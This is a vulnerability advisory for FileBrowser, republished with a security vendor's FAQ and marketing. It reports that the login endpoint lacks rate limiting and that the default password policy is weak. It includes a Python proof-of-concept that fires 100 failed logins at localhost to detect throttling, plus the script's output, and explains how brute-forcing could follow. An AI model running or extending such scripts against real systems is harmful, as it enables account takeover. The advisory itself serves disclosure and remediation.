Summary
FileBrowser: Missing Rate Limiting on Authentication Endpoint Enables Brute Force Attacks
The /api/auth/login endpoint does not implement rate limiting, account lockout, or progressive backoff for repeated authentication failures. As a result, an attacker can perform unlimited login attempts against the endpoint. When combined with the username enumeration timing vulnerability, valid accounts can be identified and then brute-forced without restriction. The risk is further increased by a weak default password policy that only enforces a minimum length of five characters.
Details
The authentication endpoint /api/auth/login does not enforce any form of rate limiting, account lockout, or progressive backoff for repeated failed login attempts. Testing confirmed that the endpoint accepts an unlimited number of authentication attempts from the same client without delay or restriction.
This allows attackers to repeatedly attempt password guesses against valid usernames.
Secure authentication systems typically enforce request throttling, temporary account lockout, or progressive delays after repeated failed login attempts to mitigate brute-force attacks.
$ python rate-limit-probe.py
[*] Probing http://localhost/api/auth/login for rate limiting, lockout, and backoff behavior...
Attempt 10: status=401, latency=0.0411s
Attempt 20: status=401, latency=0.0411s
Attempt 30: status=401, latency=0.0402s
Attempt 40: status=401, latency=0.0420s
Attempt 50: status=401, latency=0.0403s
Attempt 60: status=401, latency=0.0423s
Attempt 70: status=401, latency=0.0474s
Attempt 80: status=401, latency=0.0417s
Attempt 90: status=401, latency=0.0407s
Attempt 100: status=401, latency=0.0407s
--- CONCRETE EVIDENCE ---
Attempts completed: 100
Total runtime: 4.17s
Average request rate: 23.98 req/sec
Unique status codes: [401]
Average time (first 5): 0.0447s
Average time (last 5): 0.0408s
Latency delta: -0.0038s
[RESULT] No HTTP 429 responses observed.
[RESULT] No progressive backoff detected: response timing remained effectively constant.
Additional Context
Password validation is implemented in backend/database/storage/bolt/user.go via checkPassword(), which only verifies that the supplied password length is greater than or equal to settings.Config.Auth.Methods.PasswordAuth.MinLength. In backend/common/settings/auth.go, the PasswordAuthConfig documents the default value of MinLength as 5. No additional complexity requirements, such as uppercase, lowercase, numeric, or special character checks, were identified in this code path.
PoC
The script below demonstrates the lack of rate limiting by performing a high volume automated authentication test. The script sends sequential login requests and monitors for HTTP 429 (Too Many Requests) status codes.
import requests
import time
import statistics
URL = "http://localhost/api/auth/login"
USERNAME = "admin"
PASSWORD = "wrong-password"
MAX_ATTEMPTS = 100
TIMEOUT = 10
latencies = []
statuses = []
print(f"[*] Probing {URL} for rate limiting, lockout, and backoff behavior...")
start_total = time.time()
for i in range(1, MAX_ATTEMPTS + 1):
start = time.perf_counter()
resp = requests.post(
URL,
params={"username": USERNAME, "recaptcha": ""},
headers={"X-Password": PASSWORD},
timeout=TIMEOUT
)
duration = time.perf_counter() - start
latencies.append(duration)
statuses.append(resp.status_code)
if resp.status_code == 429:
print(f"[!] Rate limit detected at attempt {i} (HTTP 429)")
break
if i % 10 == 0:
print(f" Attempt {i:3}: status={resp.status_code}, latency={duration:.4f}s")
end_total = time.time()
attempts_completed = len(latencies)
print("\n--- CONCRETE EVIDENCE ---")
first_five_avg = statistics.mean(latencies[:5]) if attempts_completed >= 5 else statistics.mean(latencies)
last_five_avg = statistics.mean(latencies[-5:]) if attempts_completed >= 5 else statistics.mean(latencies)
latency_delta = last_five_avg - first_five_avg
print(f"Attempts completed: {attempts_completed}")
print(f"Total runtime: {end_total - start_total:.2f}s")
print(f"Average request rate: {attempts_completed / (end_total - start_total):.2f} req/sec")
print(f"Unique status codes: {sorted(set(statuses))}")
print(f"Average time (first 5): {first_five_avg:.4f}s")
print(f"Average time (last 5): {last_five_avg:.4f}s")
print(f"Latency delta: {latency_delta:+.4f}s")
if 429 not in statuses:
print("[RESULT] No HTTP 429 responses observed.")
if abs(latency_delta) < 0.05:
print("[RESULT] No progressive backoff detected: response timing remained effectively constant.")
else:
print("[RESULT] Latency variation detected: investigate possible throttling or environmental noise.")
Impact
An attacker can perform unlimited authentication attempts against valid usernames. When combined with the username enumeration timing vulnerability, this enables targeted brute-force attacks against user accounts and increases the likelihood of credential compromise.
Please let me know if you need any additional information or clarification.
I'm happy to assist with testing or validating a fix.
GHSA-R4V7-6WCG-GHJ5 has a CVSS score of 6.5 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20260522161427-fa5abc8c67f3a); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-R4V7-6WCG-GHJ5? GHSA-R4V7-6WCG-GHJ5 is a medium-severity security vulnerability in github.com/gtsteffaniak/filebrowser (go), affecting versions < 0.0.0-20260522161427-fa5abc8c67f3a. It is fixed in 0.0.0-20260522161427-fa5abc8c67f3a.
- How severe is GHSA-R4V7-6WCG-GHJ5? GHSA-R4V7-6WCG-GHJ5 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/gtsteffaniak/filebrowser are affected by GHSA-R4V7-6WCG-GHJ5? github.com/gtsteffaniak/filebrowser (go) versions < 0.0.0-20260522161427-fa5abc8c67f3a is affected.
- Is there a fix for GHSA-R4V7-6WCG-GHJ5? Yes. GHSA-R4V7-6WCG-GHJ5 is fixed in 0.0.0-20260522161427-fa5abc8c67f3a. Upgrade to this version or later.
- Is GHSA-R4V7-6WCG-GHJ5 exploitable, and should I be worried? Whether GHSA-R4V7-6WCG-GHJ5 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-R4V7-6WCG-GHJ5 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-R4V7-6WCG-GHJ5? Upgrade
github.com/gtsteffaniak/filebrowserto 0.0.0-20260522161427-fa5abc8c67f3a or later.